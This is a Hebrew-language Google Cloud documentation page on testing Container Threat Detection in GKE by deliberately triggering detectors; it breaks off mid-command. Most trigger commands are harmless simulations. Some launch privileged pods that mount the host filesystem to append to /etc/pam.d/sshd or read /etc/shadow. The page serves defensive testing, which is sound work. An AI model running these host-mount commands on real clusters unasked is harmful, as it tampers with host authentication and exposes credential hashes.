בדיקת זיהוי איומים בקונטיינר

‫Premium ו-Enterprise (יצא משימוש) רמות שירות

רמת השירות Security Command Center Enterprise תצא משימוש ב-21 במאי 2027. אם הארגון שלכם משתמש ברמת השירות Enterprise, הארגון יעבור אוטומטית לרמת השירות Premium ב-21 במאי 2027 או אחרי התאריך הזה. אם יש לכם שאלות, אתם יכולים לפנות לנציג החשבון או לGoogle Cloud מומחה מכירות.

בדף הזה מוסבר איך לוודא שזיהוי איומים בקונטיינר פועל. לשם כך, מפעילים בכוונה גלאים ובודקים אם נמצאו ממצאים. כדי לראות את הממצאים של זיהוי איומים בקונטיינר, צריך להפעיל את זיהוי האיומים בקונטיינר בהגדרות השירותים של Security Command Center.

לפני שמתחילים

כדי לזהות איומים פוטנציאליים על הקונטיינרים, צריך לוודא שהאשכולות שלכם הם בגרסה נתמכת של Google Kubernetes Engine ‏ (GKE). מידע נוסף זמין במאמר בנושא שימוש בגרסה נתמכת של GKE. אם רוצים לבדוק זיהוי איומים ב-ARM, צריך אשכול עם מאגר צמתים שמכיל מופעי ARM. מידע נוסף זמין במאמר עומסי עבודה של Arm ב-GKE.

בדיקת הסטטוס של גלאי

אפשר לבדוק רק גלאים שמופעלים. לפני שבודקים גלאי, צריך לוודא שהוא מופעל.

המסוף

אם שירות זיהוי איומים בקונטיינר מופעל, אפשר להגדיר את מצב ההפעלה של המודולים שלו.

1. במסוף Google Cloud , עוברים לדף Modules של זיהוי איומים בקונטיינר.

   מעבר אל 'מודולים'

2. בוחרים את הארגון או הפרויקט.
3. בכרטיסייה Modules (מודולים), בעמודה Status (סטטוס), בוחרים את הסטטוס הנוכחי של המודול שרוצים להפעיל או להשבית, ואז בוחרים באחת מהאפשרויות הבאות:
   • הפעלה: הפעלת המודול.
   • השבתה: השבתת המודול.

gcloud

הפקודה gcloud scc manage services describe מחזירה את הסטטוס של שירות או מודול ב-Security Command Center.

לפני השימוש בנתוני הפקודה הבאים, צריך להחליף את הנתונים הבאים:

• ‫RESOURCE_TYPE: סוג המשאב שרוצים לקבל (organization,‏ folder או project)
• ‫RESOURCE_ID: המזהה המספרי של הארגון, התיקייה או הפרויקט שרוצים לקבל. בפרויקטים, אפשר להשתמש גם במזהה הפרויקט האלפאנומרי.

מריצים את הפקודה gcloud scc manage services describe:

‫Linux,‏ macOS או Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

‏Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows‏ (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

אמורה להתקבל תגובה שדומה לזו: כדי שהדוגמה תהיה קצרה, מוצג בה רק חלק ממודולי זיהוי האיומים בקונטיינר.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

ה-method RESOURCE_TYPE.locations.securityCenterServices.get של Security Command Center Management API מחזירה את הסטטוס של שירות או מודול של Security Command Center.

לפני שמשתמשים בנתוני הבקשה, צריך להחליף את הנתונים הבאים:

• ‫RESOURCE_TYPE: סוג המשאב שרוצים לקבל (organizations,‏ folders או projects).
• QUOTA_PROJECT: מזהה הפרויקט שמשמש לחיוב ולמעקב אחר מכסות.
• ‫RESOURCE_ID: המזהה המספרי של הארגון, התיקייה או הפרויקט שרוצים לקבל. בפרויקטים, אפשר להשתמש גם במזהה הפרויקט האלפאנומרי.

ה-method של ה-HTTP וכתובת ה-URL:

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

כדי לשלוח את הבקשה צריך להרחיב אחת מהאפשרויות הבאות:

‫Curl (Linux,‏ macOS או Cloud Shell)

הערה: הפקודה הבאה מבוססת על ההנחה שנכנסתם ל-CLI של gcloud באמצעות חשבון המשתמש שלכם, על ידי הרצת gcloud init או gcloud auth login, או באמצעות Cloud Shell שמחבר אתכם אוטומטית ל-CLI של gcloud. כדי לבדוק איזה חשבון פעיל, אפשר להריץ את הפקודה gcloud auth list.

מריצים את הפקודה הבאה:

curl -X GET \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection"

‎PowerShell (Windows)

הערה: הפקודה הבאה מבוססת על ההנחה שנכנסתם ל-CLI של gcloud באמצעות חשבון המשתמש שלכם, על ידי הרצת gcloud init או gcloud auth login. כדי לבדוק איזה חשבון פעיל, אפשר להריץ את הפקודה gcloud auth list.

מריצים את הפקודה הבאה:

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method GET `
    -Headers $headers `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection" | Select-Object -Expand Content

אמורה להתקבל תגובה שדומה לזו: כדי שהדוגמה תהיה קצרה, מוצג בה רק חלק ממודולי זיהוי האיומים בקונטיינר.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

הפעלת אמצעי זיהוי

אם גלאי מושבת ואתם רוצים לבדוק אותו, אתם צריכים להפעיל אותו קודם.

חלק מהגלאים מושבתים כברירת מחדל. פרטים נוספים זמינים במאמר בנושא גלאים מושבתים.

המסוף

אם שירות זיהוי איומים בקונטיינר מופעל, אפשר להגדיר את מצב ההפעלה של המודולים שלו.

1. במסוף Google Cloud , עוברים לדף Modules של זיהוי איומים בקונטיינר.

   מעבר אל 'מודולים'

2. בוחרים את הארגון או הפרויקט.
3. בכרטיסייה Modules (מודולים), בעמודה Status (סטטוס), בוחרים את הסטטוס הנוכחי של המודול שרוצים להפעיל או להשבית, ואז בוחרים באחת מהאפשרויות הבאות:
   • הפעלה: הפעלת המודול.
   • השבתה: השבתת המודול.

gcloud

הפקודה gcloud scc manage services update מעדכנת את הסטטוס של שירות או מודול ב-Security Command Center.

לפני השימוש בנתוני הפקודה הבאים, צריך להחליף את הנתונים הבאים:

• ‫RESOURCE_TYPE: סוג המשאב לעדכון (organization,‏ folder או project).
• ‫RESOURCE_ID: המזהה המספרי של הארגון, התיקייה או הפרויקט שרוצים לעדכן. בפרויקטים, אפשר להשתמש גם במזהה הפרויקט האלפאנומרי.
• ‫MODULE_NAME: השם של המודול שרוצים להפעיל או להשבית. במאמר גלאים של זיהוי איומים בקונטיינר מפורטים הערכים התקינים.

שומרים את התוכן הבא בקובץ בשם request.json:

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

מריצים את הפקודה gcloud scc manage services update:

‫Linux,‏ macOS או Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

‏Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows‏ (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

אמורה להתקבל תגובה שדומה לזו: כדי שהדוגמה תהיה קצרה, מוצג בה רק חלק ממודולי זיהוי האיומים בקונטיינר.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

המתודה RESOURCE_TYPE.locations.securityCenterServices.patch של Security Command Center Management API מעדכנת את המצב של שירות או מודול של Security Command Center.

לפני שמשתמשים בנתוני הבקשה, צריך להחליף את הנתונים הבאים:

• ‫RESOURCE_TYPE: סוג המשאב לעדכון (organizations,‏ folders או projects).
• QUOTA_PROJECT: מזהה הפרויקט שמשמש לחיוב ולמעקב אחר מכסות.
• ‫RESOURCE_ID: המזהה המספרי של הארגון, התיקייה או הפרויקט שרוצים לעדכן. בפרויקטים, אפשר להשתמש גם במזהה הפרויקט האלפאנומרי.
• ‫MODULE_NAME: השם של המודול שרוצים להפעיל או להשבית. במאמר גלאים של זיהוי איומים בקונטיינר מפורטים הערכים התקינים.

ה-method של ה-HTTP וכתובת ה-URL:

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

תוכן בקשת JSON:

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

כדי לשלוח את הבקשה צריך להרחיב אחת מהאפשרויות הבאות:

‫Curl (Linux,‏ macOS או Cloud Shell)

הערה: הפקודה הבאה מבוססת על ההנחה שנכנסתם ל-CLI של gcloud באמצעות חשבון המשתמש שלכם, על ידי הרצת gcloud init או gcloud auth login, או באמצעות Cloud Shell שמחבר אתכם אוטומטית ל-CLI של gcloud. כדי לבדוק איזה חשבון פעיל, אפשר להריץ את הפקודה gcloud auth list.

שומרים את גוף הבקשה בקובץ בשם request.json ומריצים את הפקודה הבאה:

curl -X PATCH \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     -H "Content-Type: application/json; charset=utf-8" \
     -d @request.json \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules"

‎PowerShell (Windows)

הערה: הפקודה הבאה מבוססת על ההנחה שנכנסתם ל-CLI של gcloud באמצעות חשבון המשתמש שלכם, על ידי הרצת gcloud init או gcloud auth login. כדי לבדוק איזה חשבון פעיל, אפשר להריץ את הפקודה gcloud auth list.

שומרים את גוף הבקשה בקובץ בשם request.json ומריצים את הפקודה הבאה:

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method PATCH `
    -Headers $headers `
    -ContentType: "application/json; charset=utf-8" `
    -InFile request.json `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules" | Select-Object -Expand Content

אמורה להתקבל תגובה שדומה לזו: כדי שהדוגמה תהיה קצרה, מוצג בה רק חלק ממודולי זיהוי האיומים בקונטיינר.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

הגדרה של משתני סביבה

כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אפשר להגדיר משתני סביבה ב-Cloud Shell כדי להקל על הפעלת פקודות. המשתנים הבאים משמשים לבדיקה של כל אמצעי הזיהוי של זיהוי איומים בקונטיינר.

1. עוברים אל Google Cloud המסוף.

   כניסה ל Google Cloud מסוף

2. בוחרים את הפרויקט שמכיל את מאגר התגים שרוצים להשתמש בו לבדיקה.

3. לוחצים על הפעלת Cloud Shell.

4. ב-Cloud Shell, מגדירים משתני סביבה.

   1. האזור שבו נמצא האשכול:

      export ZONE=CLUSTER_ZONE
      

   2. הפרויקט שבו נמצא הקונטיינר:

      export PROJECT=PROJECT_ID
      

   3. שם האשכול:

      export CLUSTER_NAME=CLUSTER_NAME
      

המשתנים מוגדרים. בסעיפים הבאים מפורטות הוראות לבדיקת גלאים של זיהוי איומים בקונטיינר.

נוסף בינארי שהופעל

כדי להפעיל ממצא מסוג Added Binary Executed, משחררים קובץ בינארי במאגר ומריצים אותו. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית, העתקה של /bin/ls למיקום אחר ואז הפעלה של התמונה. ההרצה של הקובץ הבינארי לא צפויה כי העותק של הקובץ הבינארי לא היה חלק מקובץ אימג' של קונטיינר המקורית, גם אם התמונה הזו נמצאת ב-Ubuntu 24.04, וקונטיינרים אמורים להיות בלתי ניתנים לשינוי.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מורידים קובץ בינארי ומריצים אותו:

   • צומת x86:

     tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
     

   • צומת ARM:

     tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
     

תהליך הבדיקה הזה יוצר ממצא מסוג Added Binary Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

כדי להפחית את הרעשים, כשיוצרים קונטיינר, Container Threat Detection מסנן באופן זמני את הממצאים מסוג Added Binary Executed. כדי לראות את כל הממצאים של Added Binary Executed במהלך הגדרת מאגר, מוסיפים את הקידומת ktd-test לשם המאגר או לשם ה-Pod, כמו בדוגמה.

‫Added Library Loaded

כדי להפעיל את הממצא Added Library Loaded, משחררים ספרייה במאגר ואז טוענים אותה. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, מתבצעת העתקה של /lib/x86_64-linux-gnu/libc.so.6 למיקום אחר, ואז מתבצעת טעינה באמצעות ld. הספרייה שנטענה לא צפויה כי העותק של הספרייה לא היה חלק מקובץ אימג' של הקונטיינר המקורי, גם אם התמונה הזו נמצאת ב-Ubuntu 24.04, והקונטיינרים אמורים להיות בלתי ניתנים לשינוי.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. משחררים ספרייה ומשתמשים ב-ld כדי לטעון אותה:

   • צומת x86:

     tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
     

   • צומת ARM:

     tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
     

הליך הבדיקה הזה יוצר ממצא מסוג Added Library Loaded (ספרייה שנוספה נטענה) שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging for Container Threat Detection (רישום ביומן לאיתור איומים במאגרי מידע). אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

כדי להפחית רעש, כשיוצרים קונטיינר חדש, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של Added Library Loaded. כדי לראות את כל הממצאים שנטענו בספרייה שנוספה במהלך הגדרת מאגר תגים, מוסיפים את הקידומת ktd-test לשם מאגר התגים או לשם ה-Pod, כמו בדוגמה.

אוסף: שינוי של Pam.d (תצוגה מקדימה)

כדי להפעיל זיהוי של שינוי ב-pam.d, משנים אחד מהקבצים שקשורים ל-PAM של המארח. בדוגמה הזו פורס קובץ האימג' האחרון של Ubuntu 24.04, מערכת הקבצים הבסיסית של המארח מועלית לקונטיינר ואז מתבצע שינוי ב-/etc/pam.d/sshd.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי שמשנה אחד מהקבצים שקשורים ל-PAM במארח.

   • צומת x86:

     tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

הליך הבדיקה הזה מפעיל ממצא של שינוי ב-pam.d שאפשר לראות ב-Security Command Center, ואם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

שליטה וניהול: הרצת קוד מוצפן בצינור

כדי להפעיל ממצא Command and Control: Piped Encoded Code Execution, קובץ בינארי שיכול לבצע קוד, כמו python, צריך להעביר פקודת פענוח base64 לביצוע שלו. בדוגמה הזו נעשה שימוש בתמונה העדכנית של Ubuntu 24.04. הוא משתמש ב-echo כדי להעביר מחרוזת מקודדת שמדפיסה את Hello World ואת קובץ ההפעלה python. ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להריץ סקריפט זדוני על ידי תוקף.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. פענוח והעברה של מחרוזת בקידוד Base64 אל python:

   • צומת x86:

     tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
     

במסגרת הליך הבדיקה הזה נוצר Command and Control: Piped Encoded Code Executionממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

Command and Control: Piped Encoded Download

כדי להפעיל את איתור הממצאים Command and Control: Piped Encoded Download, צריך להעביר קובץ הפעלה כמו curl לפקודת פענוח base64. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/echo, משנה את השם שלו ל-curl ואז מעביר קריאת curl מדומה ל-base64. ההתנהגות הזו מסומנת כחשודה כי היא יכולה להעיד על ניסיון להוריד ולפענח סקריפט זדוני כדי שתוקף יוכל להשתמש בו בהמשך.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים שיחה עם curl ומעבירים אותה ל-base64 -d:

   • צומת x86:

     tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
     

במסגרת הליך הבדיקה הזה נוצר Command and Control: Piped Encoded Downloadממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

Command and Control: Steganography Tool Detected

כדי להפעיל ממצא Command and Control: Steganography Tool Detected (תצוגה מקדימה), קובץ בינארי עם יכולות מניפולציה של קבצים שמתאימות לכלים של סטגנוגרפיה צריך לפעול בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-steghide (או לכלי סטגנוגרפיה אחר כמו stegano). ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להכין מאגר להסתרת נתונים או לחילוץ נתונים, אולי למטרות זדוניות.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. הפעלת קובץ בינארי של כלי סטגנוגרפיה כמו steghide:

   • צומת x86:

     tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/steghide; /tmp/steghide"
     

   • צומת ARM:

     tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/steghide; /tmp/steghide"
     

במסגרת הליך הבדיקה הזה נוצרת ממצא Command and Control: Steganography Tool Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: גישה לקבצים רגישים בצמתים (תצוגה מקדימה)

כדי להפעיל זיהוי של גישה לקובץ רגיש, קוראים את קובץ /etc/shadow המארח. בדוגמה הזו פורס קובץ האימג' האחרון של Ubuntu 24.04, מערכת הקבצים הבסיסית של המארח מועלית לקונטיינר, ואז מתבצעת קריאה של /etc/shadow באמצעות cat.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי שקורא את הקובץ /etc/shadow של המארח.

   • צומת x86:

     tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
